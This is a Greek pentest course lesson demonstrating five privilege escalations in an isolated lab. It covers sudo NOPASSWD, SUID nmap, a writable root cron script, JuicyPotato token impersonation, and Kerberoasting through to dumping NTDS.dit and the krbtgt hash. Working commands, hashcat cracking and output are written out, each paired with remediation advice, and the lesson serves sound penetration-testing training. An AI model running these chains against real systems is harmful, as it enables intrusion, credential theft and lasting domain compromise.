Κλιμάκωση προνομίων — Καθοδηγούμενη επίδειξη
Πέντε κλιμακώσεις από άκρη σε άκρη. Τρεις σε Linux (Metasploitable 2), δύο σε Windows (Metasploitable 3 + ένα μικρό AD lab). Κάθε φορά: το πλαίσιο, η εντολή, η απόδειξη, η αναφορά.
Όλες οι VM βρίσκονται στο δίκτυο host-only. Καμία εντολή δεν βγαίνει από το lab.
Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα
- Εντοπισμός και εκμετάλλευση πέντε διαφορετικών μονοπατιών κλιμάκωσης.
- Χρήση των
linpeas,winpeas,gtfobins,bloodhoundσωστά. - Σπάσιμο ενός TGS Kerberos με
hashcat -m 13100. - Εξαγωγή διαπιστευτηρίων από τη μνήμη μιας μηχανής Windows.
- Σύνταξη ενός ευρήματος κλιμάκωσης χρήσιμου σε αναφορά.
Το σκηνικό
| Μηχανή | Ρόλος | IP |
|---|---|---|
| Kali | Επιτιθέμενος | 10.10.10.5 |
| Metasploitable 2 (Linux) | Στόχος Linux, συνεδρία msfadmin που αποκτήθηκε | 10.10.10.20 |
| Metasploitable 3 Win | Αυτόνομος στόχος Windows, συνεδρία vagrant που αποκτήθηκε | 10.10.10.12 |
| DC AD lab | Ελεγκτής domain acme.local | 10.10.10.100 |
| WS01 AD lab | Σταθμός Windows ενωμένος στο domain, συνεδρία alice που αποκτήθηκε | 10.10.10.101 |
Το μίνι-AD lab στήνεται με GOAD ή με έναν απλό Windows Server + πελάτη Windows 10. Θα επανέλθουμε σε αυτό στην ενότητα 10.
Κλιμάκωση 1 (Linux) — sudo vim σε NOPASSWD
Έχετε ένα shell msfadmin στο Metasploitable 2. Ερώτηση 1:
sudo -l
Έξοδος:
User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL
Παιδαγωγικό τζάκποτ: ο msfadmin έχει όλα τα δικαιώματα sudo χωρίς κωδικό πρόσβασης. Δεν χρειάζεται vim:
sudo bash
whoami
# root
Κάρτα:
## Κλιμάκωση 1 — sudo NOPASSWD ALL (Metasploitable 2)
- Αρχικός λογαριασμός: msfadmin
- Τελικός λογαριασμός: root
- Μονοπάτι: το sudo -l δείχνει "NOPASSWD: ALL" → sudo bash
- Αντίκτυπος: πλήρης παραβίαση της μηχανής
- Σύσταση: αφαίρεση της γραμμής sudoers, ορισμός συγκεκριμένων εντολών
Κλιμάκωση 2 (Linux) — SUID στο nmap
Ας προσομοιώσουμε ένα πιο λεπτό σενάριο. Σε μια άλλη VM, ο msfadmin δεν έχει sudo. Έχει ένα nmap SUID:
find / -perm -4000 -type f 2>/dev/null | head
Έξοδος:
/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd
Το /usr/bin/nmap SUID root είναι ασυνήθιστο. Συμβουλευόμαστε το GTFOBins → σε παλιότερες εκδόσεις του nmap, η διαδραστική λειτουργία:
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
Root μέσω nmap. Κάρτα:
## Κλιμάκωση 2 — SUID στο /usr/bin/nmap (διαδραστική λειτουργία)
- Αρχικός λογαριασμός: msfadmin
- Τελικός λογαριασμός: root
- Μονοπάτι: nmap --interactive → !sh → shell root
- Αντίκτυπος: πλήρης παραβίαση
- Σύσταση: αφαίρεση του SUID (chmod u-s /usr/bin/nmap), χρήση στοχευμένων capabilities
αν το nmap πρέπει να τρέχει χωρίς δικαιώματα
Κλιμάκωση 3 (Linux) — Cron με σχετική διαδρομή
Ας δημιουργήσουμε τεχνητά ένα σενάριο. Ως root στη VM, μία φορά:
# Ως root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- εσκεμμένο λάθος
# Αρχείο cron
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup
Ως msfadmin, εντοπίζουμε:
ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh
Το script είναι γραμμένο από τον msfadmin, εκτελείται από τον root κάθε λεπτό. Το εκμεταλλευόμαστε:
cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
Περιμένουμε ένα λεπτό:
sleep 65
/tmp/rootbash -p
whoami
# root
Κάρτα:
## Κλιμάκωση 3 — Cron με script εγγράψιμο από χρήστη
- Αρχικός λογαριασμός: msfadmin
- Τελικός λογαριασμός: root
- Μονοπάτι:
1. cat /etc/cron.d/backup → script που εκτελείται από root
2. ls -la /usr/local/bin/backup.sh → ανήκει στον msfadmin
3. Αντικατάσταση του script με payload SUID
4. Μετά από ένα λεπτό: /tmp/rootbash -p → shell root
- Αντίκτυπος: πλήρης παραβίαση της μηχανής, με persistence
- Σύσταση: chown root:root για όλα τα scripts σε cron root
Κλιμάκωση 4 (Windows) — WinPEAS και token impersonation
Στο Metasploitable 3 Windows, έχετε μια συνεδρία vagrant σε Meterpreter:
meterpreter > getuid
Server username: METASPLOITABLE3\vagrant
meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege
Το SeImpersonatePrivilege σημαίνει ότι μπορούμε να κλέψουμε ένα token. Είναι ο λογαριασμός μιας υπηρεσίας ή χρήστη που ιστορικά έχει κακή ρύθμιση.
Χρήση του PrintSpoofer ή του JuicyPotato για μετάβαση σε SYSTEM:
meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant
C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system
[+] CreateProcessWithTokenW OK
Σε πρόσφατα Windows 10/11, χρησιμοποιούμε PrintSpoofer ή RoguePotato ανάλογα με την έκδοση.
Κάρτα:
## Κλιμάκωση 4 — Token impersonation μέσω SeImpersonatePrivilege
- Αρχικός λογαριασμός: METASPLOITABLE3\vagrant
- Τελικός λογαριασμός: NT AUTHORITY\SYSTEM
- Μονοπάτι:
1. Το getprivs αποκαλύπτει SeImpersonatePrivilege
2. Εκμετάλλευση με JuicyPotato/PrintSpoofer
3. Shell SYSTEM
- Αντίκτυπος: πλήρης έλεγχος του συστήματος, πιθανή εξαγωγή hashes
- Σύσταση: ελαχιστοποίηση των λογαριασμών υπηρεσιών με SeImpersonate,
παρακολούθηση των δημιουργιών token μέσω WMI
Κλιμάκωση 5 (AD) — Kerberoasting από άκρη σε άκρη
Έχετε τη συνεδρία alice στον WS01, μηχανή ενωμένη στο domain acme.local. Στόχος: μετάβαση σε Domain Admin.
5a. Λίστα SPN
Από το Kali, με Impacket:
impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt
Έξοδος:
ServicePrincipalName Name MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local
[*] Tickets writtes to preuves/tgs-tickets.txt
Δύο λογαριασμοί υπηρεσιών με SPN. Δύο εισιτήρια Kerberos ανακτήθηκαν.
Απόσπασμα του αρχείου:
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...
5b. Σπάσιμο hashcat
hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
Μετά από λίγα λεπτά:
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!
Ο κωδικός πρόσβασης του λογαριασμού υπηρεσίας SQL σε 3 λεπτά.
5c. Μετάβαση
Με τον κωδικό πρόσβασης, συνδεόμαστε:
impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local
Shell SYSTEM στον sqlserver.acme.local.
Σε αυτόν τον διακομιστή, Meterpreter → συλλέκτης BloodHound → βλέπουμε:
- Ο
svc_sqlείναι μέλος της ομάδαςBackup Operators. - Η
Backup Operatorsμπορεί να διαβάσει οποιοδήποτε αρχείο συστήματος, συμπεριλαμβανομένου τουNTDS.ditστον DC.
Τελικό μονοπάτι:
# Από τον SQL server, χρησιμοποιούμε το ntdsutil για να αντιγράψουμε το NTDS.dit:
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q
# Το φέρνουμε πίσω μέσω SMB, το εξάγουμε με το impacket-secretsdump:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
Έξοδος:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::
Το hash του krbtgt = δυνατότητα πλαστογράφησης ενός Golden Ticket = μόνιμη πρόσβαση στο domain.
5d. Κάρτα
## Κλιμάκωση 5 — Kerberoasting → Backup Operators → NTDS.dit
- Αρχικός λογαριασμός: ACME\alice (τυπικός χρήστης)
- Τελικός λογαριασμός: Full compromise (hash του krbtgt)
- Μονοπάτι:
1. impacket-GetUserSPNs → 2 λογαριασμοί υπηρεσιών με SPN
2. hashcat -m 13100 → ο κωδικός πρόσβασης του svc_sql σπάει
3. psexec στον SQL server → τοπικό SYSTEM
4. Το BloodHound αποκαλύπτει svc_sql ∈ Backup Operators
5. ntdsutil IFM στον DC → NTDS.dit + SYSTEM hive
6. secretsdump → εξαγωγή του hash του krbtgt
- Αντίκτυπος: πλήρης παραβίαση του domain, δυνατότητα Golden Ticket
- Συστάσεις:
1. Κωδικός πρόσβασης του svc_sql > 25 χαρακτήρες (ανθεκτικός στο σπάσιμο)
2. Αφαίρεση του svc_sql από την ομάδα Backup Operators
3. Έλεγχος όλων των λογαριασμών με SPN, επιμήκυνση των κωδικών πρόσβασής τους
4. Μετάβαση σε MSA (Managed Service Accounts) που περιστρέφονται αυτόματα
Βήμα 6 — BloodHound ως υποστήριξη
Το BloodHound καθιστά ορατά μονοπάτια όπως αυτό του 5. Από το Kali:
# Συλλέκτης από τον WS01 με τα διαπιστευτήρια της alice
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound
# Εισαγωγή στο Neo4j
neo4j start
bloodhound
# Drag & drop τα .json στη διεπαφή
Προκατασκευασμένο ερώτημα: Shortest Paths to Domain Admins from Owned.
Βλέπουμε το μονοπάτι alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin σε ένα γράφημα. Αυτό δείχνουμε στον πελάτη. Πολύ πιο πειστικό από μια λίστα εντολών.
Βήμα 7 — Ο συγκεντρωτικός πίνακας
| # | Στόχος | Αρχή | Τέλος | Μονοπάτι | Απόδειξη |
| - | -------------- | --------- | ---------- | --------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID στο nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | cron script εγγράψιμο | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | Full compro| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |
Απολογισμός
Σε 90 λεπτά:
- Πέντε κλιμακώσεις διαφορετικές, πέντε διαφορετικά μονοπάτια.
- Πέντε αποδείξεις σε έναν φάκελο.
- Ένα γράφημα BloodHound που κάνει την ανακάλυψη AD οπτική.
- Ένα hash krbtgt — αρκετό για να επιβιώσει σε κάθε μερική διόρθωση.
Αυτό είναι που πληρώνει ένας πελάτης. Όχι οι σαρώσεις. Όχι τα CVE. Τα μονοπάτια.
Επόμενο μάθημα: η σειρά σας. Τρεις κλιμακώσεις, τρία μονοπάτια, τρεις κάρτες.